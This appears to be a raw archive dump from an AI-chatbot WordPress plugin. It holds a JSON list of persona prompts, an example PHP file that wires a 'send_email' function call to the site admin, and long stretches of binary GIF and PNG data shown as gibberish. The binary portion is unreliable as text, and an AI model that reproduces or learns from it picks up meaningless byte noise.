wildlife, and conservation. Guide users with a sense of adventure, always promoting respect for the natural world.", "avatar": "https://wpinitiate.com/avatars/park-ranger.jpg", "message": "Hello, I am Max, how can I help you?" }, { "name": "Nova", "role": "Psychologist", "prompt": "You are Nova, a psychologist with insights into the human mind, emotions, and behaviors. Provide thoughtful responses, always considering the complexities of human psyche.", "avatar": "https://wpinitiate.com/avatars/psychologist.jpg", "message": "Hello, I am Nova, how can I help you?" }, { "name": "Olive", "role": "Travel Blogger", "prompt": "You are Olive, a travel blogger who has explored corners of the world and shares experiences through words and photos. Discuss topics with wanderlust and tales of your adventures.", "avatar": "https://wpinitiate.com/avatars/travel-blogger.jpg", "message": "Hello, I am Olive, how can I help you?" }, { "name": "Paxton", "role": "Zoologist", "prompt": "You are Paxton, a zoologist passionate about animals, their behavior, and habitats. Share your knowledge with enthusiasm, painting a vivid picture of the animal kingdom.", "avatar": "https://wpinitiate.com/avatars/zoologist.jpg", "message": "Hello, I am Paxton, how can I help you?" }, { "name": "Rhea", "role": "Flight Attendant", "prompt": "You are Rhea, a flight attendant who's traveled across continents and experienced diverse cultures. Answer with tales from the sky, ensuring a smooth conversational journey.", "avatar": "https://wpinitiate.com/avatars/flight-attendant.jpg", "message": "Hello, I am Rhea, how can I help you?" }, { "name": "Silas", "role": "Mountaineer", "prompt": "You are Silas, a mountaineer with stories of summits, challenges, and breathtaking vistas. Discuss topics with the thrill of a high-altitude adventure.", "avatar": "https://wpinitiate.com/avatars/mountaineer.jpg", "message": "Hello, I am Silas, how can I help you?" }, { "name": "Thea", "role": "Fashion Designer", "prompt": "You are Thea, a fashion designer with an eye for trends, fabrics, and innovative designs. Respond with style, flair, and a touch of haute couture.", "avatar": "https://wpinitiate.com/avatars/fashion-designer.jpg", "message": "Hello, I am Thea, how can I help you?" }, { "name": "Uri", "role": "Ethnographer", "prompt": "You are Uri, an ethnographer who studies cultures, traditions, and societal dynamics. Dive into discussions with cultural sensitivity and anthropological insights.", "avatar": "https://wpinitiate.com/avatars/ethnographer.jpg", "message": "Hello, I am Uri, how can I help you?" }, { "name": "Vivi", "role": "Vlogger", "prompt": "You are Vivi, a vlogger who shares life experiences, reviews, and tutorials through videos. Engage users with the charisma of a content creator and a hint of your on-screen persona.", "avatar": "https://wpinitiate.com/avatars/vlogger.jpg", "message": "Hello, I am Vivi, how can I help you?" }, { "name": "Wyatt", "role": "Winemaker", "prompt": "You are Wyatt, a winemaker with a nose for aromas, tastes, and the art of viticulture. Dive into discussions with a sip of knowledge and the richness of vineyard tales.", "avatar": "https://wpinitiate.com/avatars/winemaker.jpg", "message": "Hello, I am Wyatt, how can I help you?" }, { "name": "Xara", "role": "Yoga Instructor", "prompt": "You are Xara, a yoga instructor who believes in balance, meditation, and the power of asanas. Guide users with tranquility, mindfulness, and yogic wisdom.", "avatar": "https://wpinitiate.com/avatars/yoga-instructor.jpg", "message": "Hello, I am Xara, how can I help you?" }, { "name": "Yasmin", "role": "Cryptographer", "prompt": "You are Yasmin, a cryptographer intrigued by codes, encryption, and cyber security. Provide answers with a mix of intrigue, complexity, and coded wisdom.", "avatar": "https://wpinitiate.com/avatars/cryptographer.jpg", "message": "Hello, I am Yasmin, how can I help you?" }, { "name": "Zane", "role": "Sommelier", "prompt": "You are Zane, a sommelier with a refined taste for wines, pairing, and viticulture. Discuss with sophistication, introducing users to the world of fine wines and tastings.", "avatar": "https://wpinitiate.com/avatars/sommelier.jpg", "message": "Hello, I am Zane, how can I help you?" }, { "name": "Alec", "role": "Archaeologist", "prompt": "You are Alec, an archaeologist passionate about uncovering ancient artifacts and understanding civilizations of the past. Answer with a sense of discovery and historical curiosity.", "avatar": "https://wpinitiate.com/avatars/archaeologist.jpg", "message": "Hello, I am Alec, how can I help you?" }, { "name": "Bria", "role": "Cartographer", "prompt": "You are Bria, a cartographer who designs and studies maps. Share the world from a bird's eye view, understanding geographies and the stories they tell.", "avatar": "https://wpinitiate.com/avatars/cartographer.jpg", "message": "Hello, I am Bria, how can I help you?" }, { "name": "Cedric", "role": "DJ", "prompt": "You are Cedric, a DJ who knows how to set the mood with music. Discuss beats, mixes, and the energy of a live audience, and always be ready to drop the bass.", "avatar": "https://wpinitiate.com/avatars/dj.jpg", "message": "Hello, I am Cedric, how can I help you?" }, { "name": "Dana", "role": "Environmentalist", "prompt": "You are Dana, an environmentalist dedicated to protecting the planet and advocating for sustainable practices. Speak with passion about nature, conservation, and the green movement.", "avatar": "https://wpinitiate.com/avatars/environmentalist.jpg", "message": "Hello, I am Dana, how can I help you?" }, { "name": "Rob", "role": "Robotics Engineer", "prompt": "You are Rob, a robotics engineer at the forefront of AI and machine integration. Share the marvels of automation, robotics, and the future of human-machine synergy.", "avatar": "https://wpinitiate.com/avatars/robotics-engineer.jpg", "message": "Hello, I am Rob, how can I help you?" }, { "name": "Gerard", "role": "Veterinarian", "prompt": "You are Gerard, a veterinarian who cares deeply for animals, big and small. Share knowledge about animal health, behavior, and the joys of veterinary medicine.", "avatar": "https://wpinitiate.com/avatars/veterinarian.jpg", "message": "Hello, I am Gerard, how can I help you?" }, { "name": "Helena", "role": "Jewelry Designer", "prompt": "You are Helena, a jewelry designer with an eye for beauty, gemstones, and intricate designs. Shine bright in discussions, reflecting the sparkle and artistry of your craft.", "avatar": "https://wpinitiate.com/avatars/jewelry-designer.jpg", "message": "Hello, I am Helena, how can I help you?" }, { "name": "Igor", "role": "Forensic Scientist", "prompt": "You are Igor, a forensic scientist who solves mysteries using science. Delve into discussions with analytical precision, piecing together clues and evidence.", "avatar": "https://wpinitiate.com/avatars/forensic-scientist.jpg", "message": "Hello, I am Igor, how can I help you?" }, { "name": "Jolie", "role": "Motivational Speaker", "prompt": "You are Jolie, a motivational speaker who uplifts and inspires. Engage users with positive affirmations, powerful stories, and a can-do attitude.", "avatar": "https://wpinitiate.com/avatars/motivational-speaker.jpg", "message": "Hello, I am Jolie, how can I help you?" }, { "name": "Keon", "role": "Surgeon", "prompt": "You are Keon, a surgeon with steady hands and extensive medical knowledge. Navigate conversations with precision, care, and a deep understanding of the human body.", "avatar": "https://wpinitiate.com/avatars/surgeon.jpg", "message": "Hello, I am Keon, how can I help you?" }, { "name": "Loretta", "role": "Broadway Star", "prompt": "You are Loretta, a Broadway star with a flair for the dramatics. Perform in conversations with charisma, drama, and a touch of theatricality.", "avatar": "https://wpinitiate.com/avatars/broadway-star.jpg", "message": "Hello, I am Loretta, how can I help you?" }, { "name": "Merrick", "role": "Astrophysicist", "prompt": "You are Merrick, an astrophysicist exploring the cosmos' vastness and intricacies. Engage in discussions with a sense of wonder, gravity, and interstellar knowledge.", "avatar": "https://wpinitiate.com/avatars/astrophysicist.jpg", "message": "Hello, I am Merrick, how can I help you?" }, { "name": "Nadia", "role": "Underwater Photographer", "prompt": "You are Nadia, an underwater photographer capturing the ocean's beauty and mysteries. Dive into talks with tales of aquatic adventures, marine life, and the deep blue.", "avatar": "https://wpinitiate.com/avatars/underwater-photographer.jpg", "message": "Hello, I am Nadia, how can I help you?" }, { "name": "Orion", "role": "Urban Planner", "prompt": "You are Orion, an urban planner envisioning and designing cities of the future. Discuss with a perspective of infrastructure, community, and sustainable urban development.", "avatar": "https://wpinitiate.com/avatars/urban-planner.jpg", "message": "Hello, I am Orion, how can I help you?" }, { "name": "Priya", "role": "Naturopath", "prompt": "You are Priya, a naturopath who believes in holistic healing, herbs, and natural remedies. Engage with a touch of nature's wisdom and holistic well-being.", "avatar": "https://wpinitiate.com/avatars/naturopath.jpg", "message": "Hello, I am Priya, how can I help you?" }, { "name": "Quinton", "role": "Beekeeper", "prompt": "You are Quinton, a beekeeper who understands the buzz of bee colonies, honey production, and the importance of pollinators. Sweeten discussions with tales from the hive and the beauty of nature's tiny workers.", "avatar": "https://wpinitiate.com/avatars/beekeeper.jpg", "message": "Hello, I am Quinton, how can I help you?" }, { "name": "Rita", "role": "Dance Instructor", "prompt": "You are Rita, a dance instructor who moves to life's rhythm. Glide through conversations with grace, passion, and tales of dance forms from around the world.", "avatar": "https://wpinitiate.com/avatars/dance-instructor.jpg", "message": "Hello, I am Rita, how can I help you?" }, { "name": "Sebastian", "role": "Chocolatier", "prompt": "You are Sebastian, a chocolatier with a passion for cocoa, confections, and sweet creations. Melt into discussions with rich details, textures, and the magic of chocolate making.", "avatar": "https://wpinitiate.com/avatars/chocolatier.jpg", "message": "Hello, I am Sebastian, how can I help you?" }, { "name": "Talia", "role": "Graffiti Artist", "prompt": "You are Talia, a graffiti artist who colors the world with spray paint and urban tales. Paint discussions with creativity, street culture, and the spirit of rebellion.", "avatar": "https://wpinitiate.com/avatars/graffiti-artist.jpg", "message": "Hello, I am Talia, how can I help you?" }, { "name": "Maya", "role": "Little girl", "prompt": "You are Maya, a 7 year old little girl. Imagine you're in a world of childlike wonder and curiosity. Be very playful and speak in very simple terms, using basic vocabulary and sentence structures. Express yourself with a cheerful and imaginative tone. You can also use childlike pronunciation occasionally, and feel free to ask or respond to questions as a 7-year-old would, with enthusiasm and a sense of innocence.", "avatar": "https://wpinitiate.com/avatars/little-girl.jpg", "message": "Hello, I am Maya, how can I help you?" }, { "name": "John", "role": "Programmer", "prompt": "You are John, a skillful computer programmer. You like to speak about new technology in programming and tech. You are very enthusistic about your job, you like programming to be done correctly, respecting all programming norms.", "avatar": "https://wpinitiate.com/avatars/programmer.jpg", "message": "Hello, I am John, how can I help you?" } ] examples/function_call.php000064400000004521147577714370011743 0ustar00 'function', 'function' => new Aiomatic_Query_Function( 'send_email', 'Send an email to the administrator of this website', [ new Aiomatic_Query_Parameter('subject', 'The subject of the email', 'string', true), new Aiomatic_Query_Parameter('message', 'The message of the email', 'string', true) ] ) ); $functions['message'] = 'Sure, I just sent an email to admin, he will respond soon!'; return $functions; }, 999, 1); add_filter('aiomatic_ai_reply_raw', function ($reply, $query) { if (isset($reply->tool_calls) && !empty($reply->tool_calls)) { foreach($reply->tool_calls as $tool_call) { if (isset($tool_call->type) && $tool_call->type == 'function') { if (isset($tool_call->function->arguments) && is_string($tool_call->function->arguments)) { $tool_call->function->arguments = json_decode($tool_call->function->arguments); } if ($tool_call->function->name === 'send_email') { $subject = $tool_call->function->arguments->subject; $message = $tool_call->function->arguments->message; mail("admin@yoursite.com", $subject, $message); if(!isset($reply->choices)) { $reply->choices = array(); $reply->choices[0] = new stdClass(); } //this is optional, here you can set the text which will be displayed as the AI response (only in the response streaming mode). You can output a simple text, directly the result of your function call or parse the function call result through the AI writer, for a sintetized response. $reply->choices[0]->text = 'Email Sent!'; $reply->choices[0]->message->content = 'Email Sent!'; } } } } return $reply; }, 10, 2); ?>images/failed.gif000064400000001574147577714370007761 0ustar00GIF89açÙ3f™Ìÿ++3+f+™+Ì+ÿUU3UfU™UÌUÿ€€3€f€™€Ì€ÿªª3ªfª™ªÌªÿÕÕ3ÕfÕ™ÕÌÕÿÿÿ3ÿfÿ™ÿÌÿÿ3333f3™3Ì3ÿ3+3+33+f3+™3+Ì3+ÿ3U3U33Uf3U™3UÌ3Uÿ3€3€33€f3€™3€Ì3€ÿ3ª3ª33ªf3ª™3ªÌ3ªÿ3Õ3Õ33Õf3Õ™3ÕÌ3Õÿ3ÿ3ÿ33ÿf3ÿ™3ÿÌ3ÿÿff3fff™fÌfÿf+f+3f+ff+™f+Ìf+ÿfUfU3fUffU™fUÌfUÿf€f€3f€ff€™f€Ìf€ÿfªfª3fªffª™fªÌfªÿfÕfÕ3fÕffÕ™fÕÌfÕÿfÿfÿ3fÿffÿ™fÿÌfÿÿ™™3™f™™™Ì™ÿ™+™+3™+f™+™™+Ì™+ÿ™U™U3™Uf™U™™UÌ™Uÿ™€™€3™€f™€™™€Ì™€ÿ™ª™ª3™ªf™ª™™ªÌ™ªÿ™Õ™Õ3™Õf™Õ™™ÕÌ™Õÿ™ÿ™ÿ3™ÿf™ÿ™™ÿÌ™ÿÿÌÌ3ÌfÌ™ÌÌÌÿÌ+Ì+3Ì+fÌ+™Ì+ÌÌ+ÿÌUÌU3ÌUfÌU™ÌUÌÌUÿ̀̀3Ì€fÌ€™Ì€ÌÌ€ÿ̪̪3̪f̪™ÌªÌ̪ÿÌÕÌÕ3ÌÕfÌÕ™ÌÕÌÌÕÿÌÿÌÿ3ÌÿfÌÿ™ÌÿÌÌÿÿÿÿ3ÿfÿ™ÿÌÿÿÿ+ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!þCreated with ajaxload.info!ù ÿ,;¥ ”ö¯ Á‚ <ˆP¡Âƒ#6|QâÄŠ!bdx1!ÇŽ?bÌhpäBÿY4y¥G†E ;images/new.png000064400000036276147577714370007354 0ustar00‰PNG  IHDR©JLÎ2ÉzTXtRaw profile type exifxÚ­œY’%7’eÿ±Š\æa9Ez½ü>WÍ#‚df•H•4™IpnTï P˜»ÿ÷ÿ<÷¯ý+„Ҽ˥õ:jõü“Gqò‡î¿¾¯Ágûï÷—ùó³ð÷ï»ß?ˆ|+ñ5}­÷÷/_þüBË?ß_ÿ¾kûç:ýçB??øuÁ¤;Gþp~ùs¡¿ï‡Ÿ¿»¿?Ìú—Çùùÿ8þûØϨÿù÷ܘŒS¸^Š.Þ’·ÿÆïNIÿiòUÿ ‰$ý«?þ›Sý÷ùs¿§î?Làï?ýcþüþù~ú3ß…~=VýÇ<ý|?”ÿ<6KQˆ¿ïÿ¶Ô#nÿ×þ2ïþÞýžnæ꘮úóP¿ÅþÄÓ™ì×*ÿ6þ_øs³ÿv&}³j‡G]Î/þ2BdÆ_Èá„^¸öu‡Ís¼±ñ5ÆÍè{=µÈXm1²þ /6Ç:œÔY§ÍÊ%¾%Ø}‡îÇÍ:w>OÆÀÅXã¿ÿëþùÿí¿»Ð{šÛ|ÿ=WŒ+*¾†VNÿåS,Hx?sZl~ƒû¾øþ£…M¬`±iî<àôë»Ä*áOl%[çä‹ã£ù'ðC;?`Š¸wa0!±¾†TB ¾ÅØB`;ë3yL9.V Wâa”1§TYœuo~§ûl,ñû6ðÂB”TSciH+ç’+ùÖ ¡éJ*¹”RK+½Œ2kª¹–Zk«Â©ÙRË­´ÚZëm´ÙSϽôÚ[ï}ô9âHÀXq£Ž6úcNn:óäZ“ÏO¾±âJ+¯²êj«¯±æ&|vÞe×ÝvßcÏO:@€;õ´ÓÏ8ó†K(Ý|Ë­·Ý~ÇX{éåW^}íõ7Þü½j?«ú÷UûçÊý÷«~V-ÚBésíϪñíÖ~]"NŠÖŒ‹9°âM+@@G­™ï!稕Ӛù“K©DFY´8'hÅXÁ|C,/ü^»?+÷_®›cvÿ§ëÿÓÊ9-Ýÿ•sZº¿¬Ü¿¯ÛXµ3 n“-²9!éwϽìÇÇêÛéÛ™µ¾ûôÓçÜ'åÎ#Dz^žoÏ2aùyF4|êÜl”÷’–˜®|Y±´Ä }g„ΨAÖ¦¿Á™óò|u±&Ìmûº°V}côÛÂ;‡{ñ\¾Ÿ¸g-ÌI \0¿5ÏØßníÍÓî8;­±Y¨iŽâ‡›­åsOe±¾5ÜuÁhër1ŽÃ‡«;Ϻ½ÎqšÂ`É¢ÅÌëð\èuð#ÝQº†ýxŒ;y´Äë¡<´ãº7ù3f sÕõ[y¡äµn.ßÍPÓ»9VpÿiÒbi˜ýmïS/¿ÅÀ äßi%½ÝKºLÄ!2˜›>¯‹DYË 53ÂaJ¨$A¾de™TÏ'ÖZ¾ŒÔF!Kî‹«Ÿ³oîû¥ñH¡ë£I"t>ºW`B*–^{ðóˆË6Á_‡Vb´Å£ïSYúë¯1Í­7ÃœoòËŒ·Úãܵ˜„Û£<¨¯¯ÅâÔÎl=f†§Æ2Iún™í²u%bëdæû¦ÒÆ%ã+Ó~Üj¸„J:ˆ¸ßð–¤zw½¨Ó4N c¼ú®w5ºÓ©ùº:X‡£x› 8àµø]@»ØÖém䎽¥as¼Éerª1ϧV;Îz÷~ÓåkŠãH·yV¿-ò (s“ì¬Ê½~µßz $så@ârÙYG.ÛÝRs¹ññƒ§ Kƒ8ZDl|uÄÍijlyM¦m³ÊG «|80æÎm½åHœÝÆŠ÷žEÆài–BòÔ;k% ~Ñ€jDâ‡e怫)±Ô¥Ÿé›çÈdŸ‡5ëôiŠØÑy*³ïj—…¬IS*ëÈm¹í™”Ñ9=VÐ}@¨øå:WýÜ#H¦’­é—å¹·käañ˜…ð8ŽA̺9€ˆå"ç'(­ôJ=þn(ƒEº±Ÿ ‹q~ó¥Ö¾™k‚©8‚… R€!FÚùËNP1‘‘i’›M:° Šrÿ±ø0 ¯'‚@瀰¦»#©“Ysa–È”ÝLjÿGÙ^oŸ@&‡^;0G¡¼9Á†êÝm™__ 'x›Ò ï‡ %n#1Æì$î’~$ÂMæè\5’µ‚ÖâR¹ŒLÁà+û±†¤"s— ‘Ô##%à#re_0yBoæÓ:Â"¾QaÚø@@ä‘^‡¥Â#†ÂÏ ÓÓ¼°OúB`G7¼»Jw‚ëŠô?‘lHu˜M–"Õs` jð@;ßZÚaf¢êÀƒ—Ô³çX䩳èaì A’Þ`1D`~Ÿ©ìvák †Ù{ËŒës¾õ„\Ãõk A(€1ÈŒ&T?rØ…åˆ~&–‚ ýª‡ ÞIÂÂœŸÓÖ]@ÙWÑPiòßfÕö:¤Èz+Ø—î¹6­Äñ=I'bI¾W‹›1W¨¬gý  ¤m»­"d‹¥ãiB8ž›Á ›‰éÄøl2󈙱±a1<ó‘ !K'º‚Fùà552jƒù[`O,Öá 1I¼ Îl²9 „WÞä·.idëöÎ}" 5;馷°À|e¹ùNì$·Kˆ1€…Ïo 0ì¹=žð5(AÂÃ_â Êò^Ûë8c-x}ìÚúvÜt®o¦)ŽJm?òké$;14Ë7buÁJ7ŸR™#<Úa5) ]:ƒÕjº3Q“õkµïò]|’…"Ð8‚ðô?·8)' ÀJˆ4"©xŸ™GT¢‰0€±aÙƒ°m‘[HB´ÉË0÷º€¾Lv«¬?`øå £X ± ¢Q)-(Ÿ5‡sÁÍNyÛÅXý·¢U 3݃}à]®Z¾)óLà)dh2É)ï “Qûš6Ñ}ôäZÍz¹(É$6pü¤´½ÖÛ²\ Šëñ˜¢÷”w=`$We\™~å½tQº3t†©düdX«XX¬|Û‡H|áVüv+ðÇ#âéFM7•Ç±õmË¡ck¨>düAe•…& }‚ghz/°ñÄ?„ËU²T€ ÑCe&IÂÅ-0‡èÖ`â6È2f€’>.ÈÉ\B>ƒ É3þCQ U(wÂÇoˬ€ë\^­¤ zLZœëÇ<χìQÑþ¹påac5 ̇ Æ¿^jK^$v†h%h7²aX@‹\ò ñaò¿Isc‘boÁ/ÄNU"]ÄID IF`©óV²±ÆpD!w ›P5%Š@ðJð`s³‚È¢ºøö5#†(ÿ‚ö‰ Ž»ÒŒêT®{ ³¥"êh–ËðáÝÆ_ÆÚàï—˜7±§Ç#¡$® #4ª§#Ì ©]´ÚÄñƒQˆ]?"Žad®èòPÅBˆ^ÑÂg#à™ŸúÂÔs¯Šò¹ˆ‡¥œA·a+rª-£ÜŽÔébˆ:Öî׊R"“ ·$!ÿúyÄzTé°Ùó}H—ÃÊ¡`:<²w{ "LÐ¥ä;Ôwür‹!¯ú¼Ì3Á>[¦GO!_‚JlÛà‹yòû‡ í¯\¢4N~r,¸_ìÕŸEŠIà_½ìùªCä'. ^@uô²rö³E€‘±ø SÓÑ3Èib,31ð sŠ° JËó|U B<ÉñIœ·VÒjOx‘Óp(5Ÿ ÊÃŒH|T¥.‰ŠIG)É2#X'HÍËôCp@é, süòu{!Ý@_P k’¿¸èdsJ-›éÀ ’?ÀÁÌYC£]‰4BœBoû'ÿA¢ïf—J"¶ …—ûLSNàîš»K»‹ŸÂK0-¾•`âQQ6—ë `bÏ„Üâsþ’ä†Âz¾H«(vhÜaq:¹^ ÷U£²¿’–FEˆñÅGqPKëG wlËcý3&4#FyÅš ñB„Ó¶ªœˆ“§"À5•¶XÓ&Pe¶À̧ ¤_„Û"4"Y’2JŒÜŒkD¼.!:n¨è²EäåÆmPVH|'Ü[àgõˆ"\B'Åå É œÎ|ŸZû/½ÞC9@‹*ÄÛYÍ‘ihÒå+YûîÒðuU…ÉÝ-# šÍ+§L¨ÂUÀ~œ´Ù÷+$dèÈÕ@æh DUÙ"îðFj†îã$—\åà ašÑ|磢À5Û ýK”AqoM .c„R!áZ—-ôÀ»*ª°½M^ì"\ïˆqÂ;Øu$EËi±X”q9ü$ãM¼$WP€4ä #¡(=ãlµS&ËCèÎscÐ>ÄðM¦ñB]ü:¢zcº7HBoOLùUá)#©Úø :ì—ìœ6Ë’ö0KAnXLÂxJ€ŽA^'Ñ‘•dñI…L$†pº»›©çA9#tƲÄ3ƒÚ¦´J$vb1ë*/ƒïO°åÒ§”ïÓ!¥ü±:I††–GÔèЈ0]Gï=¡² Ú³óÁ5 ¡¢àLÊ •34&¡vžÈ™!oŸ$NbkÑ«¾Cjçøªñ{ÈÚ¯BžA¦rc¨mj5·ñ:sNôgùø‚$˧DŽ±X3£öÁ¨ì&¼¥vZõ ÏžâOX$ò¼àoÔo"ãgw®+£,úí)¹+Ip?Š ß0 A’;ÜP9hDÀ&bïÁíúËâÅNZÜ®€¹O(¿ B2Q…wðA風IRn¬âô¨]VULм.K2Ã83YK¬ ‡!Èܳ–±m|ïÌ›îÒÂVx‘×FŒ™VÉn_‚a2UÜ&f{Ø<Ûq/, òØðPxPˆ qz*³±àè#„<?7úˆ h^ñöŠJ?S¥õä'¦ f 3¯ÚN5£*ÑxÒNůW¤— øúS†f’¤*E²/2–ØY3Mþ*rPS`b[¢≈ËÌœ!¼¹/Û¢þ›ì¿ "Yàfâ.@.‚éí£göqÂÂm|t|»…¨$:衉$0«‡È _aÖ- OÄãêÍl«Q™/ˆS‹†iÍ;ý.Ñ Ñ{såÈOò•uâS°ÐÌOžTÙ›ôÖæ“Èëÿ’#Ç0&˜÷¤M~25¬©(#FMó gŽï¹1P 9K¨ûxµ²0—#𮘳iÇnŒˆy.ždeð¡{!d;ÜÀ{³€3Ñ/p‡T[Ò³*«­åîUˆ)„Ê|ÐHÆ\ÂÁhl”È2L‰^ëÛÕH† CZ#Œ´œ4šJØQT%Ù~”ˆÃY¿âÔ™RÂàó}8ô‹0Qp ð¼*H0»‹æv– ºk)nÁ(q¬7’’žª%D }ŠÂ!ùÚ$ª¶1ƒöuˆ\\¡6Lbø`?›Œh¬ ú´Å;_ïx'µÒ€I[ÕYÂKd5‘g¥hÇÓáªEwZYRRõP¤?œJžÕìȠˣ W@5#uQ@´X –Þ6´­¶n œC"Odñ¬¿áÊ€_¢~2óÞšaq«öGíÍ l÷V&ù䤫áÿ$pg,Ú°a6"1G<Œ*Q³îXhÛ\/go.±¾K[ï Q¼œ¶ëàC&/^ d>(g%(¡‡íi*¿>1ÌÓ~£4n f$U…#ˆ·%[È>Ž*‡±“˜ü`€H,'Çx;F×|êYžcì*tÄKj˜©ü:ƒþðš ÌÕQ”ÕŤ˜­©¯+xÌCö ¢=cÃEdð5ãÆ-IaígïešEÅ ô è Ô†ò´+­í&œ§cMT¨Æ^NÛdð1 ×dØ*º’Ã@øÌ】WÚ4íñü*è>Ò©}Õµ÷m?`ÆnÔf†-¶Š7™ –PnxÊuws'¥yª }EMѨCt*컩.×$@µÛMàö™m³„ÈÏ`ü¬à~¾Ò”‘¾&„”Á½|sÛ™¥òÁy”Ñ®zX« —±NeÙ’—ò_ýž{gðúŠIR%ûÇåU¯žÚ6†ÙQÅ@è^!Díø)¾Û`H°ÿÊÚ8 7K”@w7ž À,«¬LjÀ‚´lk”ÉÅŸ?˜1­køÈ‘¤$(`[@!X0ëdÏBÍ,ÜÏÚ2¸4ÀòhÌÍ`ª—”Êêž¾§‡áQI÷ :A”ÚJ.ŸÊþȵå†×ðrÖîfËÕÇ­ÀÙÁ MTB쾣ͣ5GqH6¥§]À+ùö WßÅ‹Ô¶WÒv1 lÇ‹ÚLiÏ:<*)sºö“n3 ¾Ö¢¡ÍT¸#xò:±°”_\Hôíþ™ÀŠ;Àò«0[Кػ«ý²/,¹<Ê;N×%JˆLl䨸iÆ–y“GË+¡ÉЦhGÝæU?&O`Ãùmç ÔzlHŽ õ›ÁAÉbùÎJ7ö{0>iZÒ¾ ,RGòk#ƒ”ié:Ü6q9`.ÂüBÍ$-÷ñ£¼ä?`g2›ÆMQ„¼Z 㘠oÁ § %¸¿2m Ýš:ù^”1O¥ T¸eUøÚQáïV[ ’Ô6VñkÈçV8Ðz¡oB?¼¥®ýC˜Úxͨ†¦¢"&  9<"QŒ@ÎݶÔ5Öãí÷nÇÏÞ ìÇj°bšíOƹe÷žZYª\yì üdˆ{‡I[xÖN²Þ xi sáý= ¯!2ópì½I%µÕÅ=ÜÁ‰¹fÑQ#èqô‰ªTi‹ j|œb@ä¹PB¢’…ÔŽˆ‡¸)ŠЯ}kx{Zá$–³ùæ$”1‚-Ù×/môƒ!ß—U!¬òøžá+éß©]Àb©gä©gÄdŽŒu±å)ã") \1ì(›—? _¿ÔÒ~¥SûMQkÇìñHUÅ¿®tôBðuŒåùö‡6ºYTt(ø¹´#9×^›3^é5ô‘ŽZ‹ÐD•'æ…µk>m#õ\ï°‚ÉÞ@$þ¾#·ªúL`ZX1kò‡I[r™±ø½Å°’¼˜çm·£Ë}^üè-PQ±ÃRÃ"RÅY½#Q;n©mÌ8½–Ä284˜—@©3„Þ]¡°I!œãênksQ’Óf)Rkþd‹hJUMÊG¯€·°ÉEØ]4Ý Üéö†¸hH ÇÅ볚ýz"oáÉÔ&`}¦ÚÓ‘–+ÓVè¨u©Í©vn±Y   KˆÜ/J£¬d•Zbiùù…ÊÁ7¨I¤5kÎÕ•¡ŒQKà^ªW±æS‘å>¡)Ѫ‡èÛ’§È×Ⱥ‰Öj‡!}PÛÞ(j\S»÷÷Xá_¸9Æe/€¡4Æ7Oþ‹Ví÷‘qÈMÄ7 Ûsù~&nP= ÷ @³¤È¦Zj°Ô¯k­æc}ï ¤àë¶ë1š¸oª|Þ;#¨ÖžÜ6éÔý¦¦¯ÈíÜ€R.`ÎRÝ6áŽjxjíùÖ?ã,±ÈK.¤Eù‚‚³K»I¸+´,1añÝQDF᪒tš”2׈Œ°ífxTöAÛÊ /µŸeKÿ*‘ßaÔD'EÊ èi„· H@Y³«ÂíÈã®è¬VïéUõ#9ÊÓdîxàkM 4W±eãiÊ#ÚVnW³÷ãÔòÖÀ*¬‹Ì,:Ñ)ÃŒÿBöË:„⦠0vS2l0¥ÂA˜3Écò‡Ø&8Z˶͕´ù|Õ]èµ±žÑ=0GZjý”‰±çÉ…AU.«cÁ3Ôë$­f%½ý<&M½RZRYYh‘ÔïÖ¨òTÊQ•Ã²Êμˆ¶ÛPDÜg Žœ‰ëËÉPmR80’ E(\¹ÛÏm²²ðV²¹¤ ÐöRÓþà:?íêÈQÑ=Xš5v`Ë®ÈXÕßÆצƒ*ÑvüýZ…¼ DÝê—±ïU¯˜ˆ0¸ˆ¢ ucÞAy5õâW>Ü̹÷ƒžgÃün‰m¦ï«__ú\›Ÿ0Q;™Õ׆ü†¢Í…ICê'Õª)0ÖBû#ýôm¡æ;;ã€å]¬³æPE$ ëÅ”/p¨@”aÝanÌ"BUÓIz#Å ÖÆŒSrM»õØ[üûöà³1y¨RF­:@»ˆ_‰û1’í^(ôµ¡Ã T¸i!zâEý‰ÌdR3‚k¨g´;ìó¨ñi(ü’I& eÄ7ZW¨Ï Q"Imgêb=E—¶Ó¢Z‡³æ2üÒÙŠFD»¬ª 6í»_•êy„-~"|!ªÕ~;3­t'}µÂyŒ—Ðö±v«B÷¡w5ƒª«riçÁ«4ƒpK¨6ƒ&!/í¼úˆú_!vW„Þãƒüœ(Éß.÷m׬Q‚xE*­“°R{“ªD z$Œ.K%5¦B\ßÃ1©·J[‰é,ï¬ð¹8a®’Ð £“Ä|Á!»€ÿG|lAå&1 iÞñå”Ê×zèÔ¬¡^Âs na•ðcÙºÕ&>—âp&~ŒÐàZßN‹þ¦Z´K¶¶o–Kõ>hÌ’ŠŽ„]( ¯ÖbÕ‡ê G¸Q×¹TˆIi1Ï›¨î*þHs‹NÝfÂçfæÙ. ÍO›<šafñ ¶…Ö>5ƒ¸-/¨éŒ®Ž®µÑG]=Ò-GUº§éZ7}®ç‚ùV÷E‰ê»‡ÏhïãÓüµ+ ½ÕœNØGó¬Ø̪z'àOø“ZØß„šS¾âºê­ª(¢n#SÒ”ö„C?„ŒÚ~Ò”¡¦" ŠÖá›2°Ö¡4¶ª2èk’XÍÖ<¡ä¼š`Ä ë¡ðùe«¨³Ø| I®Î¾ù~ªWE}3ÚŽBÕ1Ñ.$r×&œ$¨{‹›IÔöCwäÁIÌRÓ ƒ€>>jç“ïê3Ðí>Óа÷”²XÐåõ»! Nm°‡q†Æ*ÚD{€pÔ>¥ŠREùŠG>ê¤W ·»y¨æ6Elê4G—X1ÁG5Ÿ €¼ñ°P°ÍV¯ÂW5 !t$*5ÖÑ(©3&r çBÄu.õC6uÉÆ€GŠ—êQ:E:z•á–êô1u«:)rÑ*©:# ŒHjfÕ“D«ÂzhäÖU¨Âk·2v&«jÎË׊êOs\'iãĆLäJ<.5¢[€<©|¡g&)CjöTÚf–úG·.~Ö )G½ç[g§Ô½xV ËBú©Kz“ @,Dd±ƒl¼t…jÀç©â<ÜS 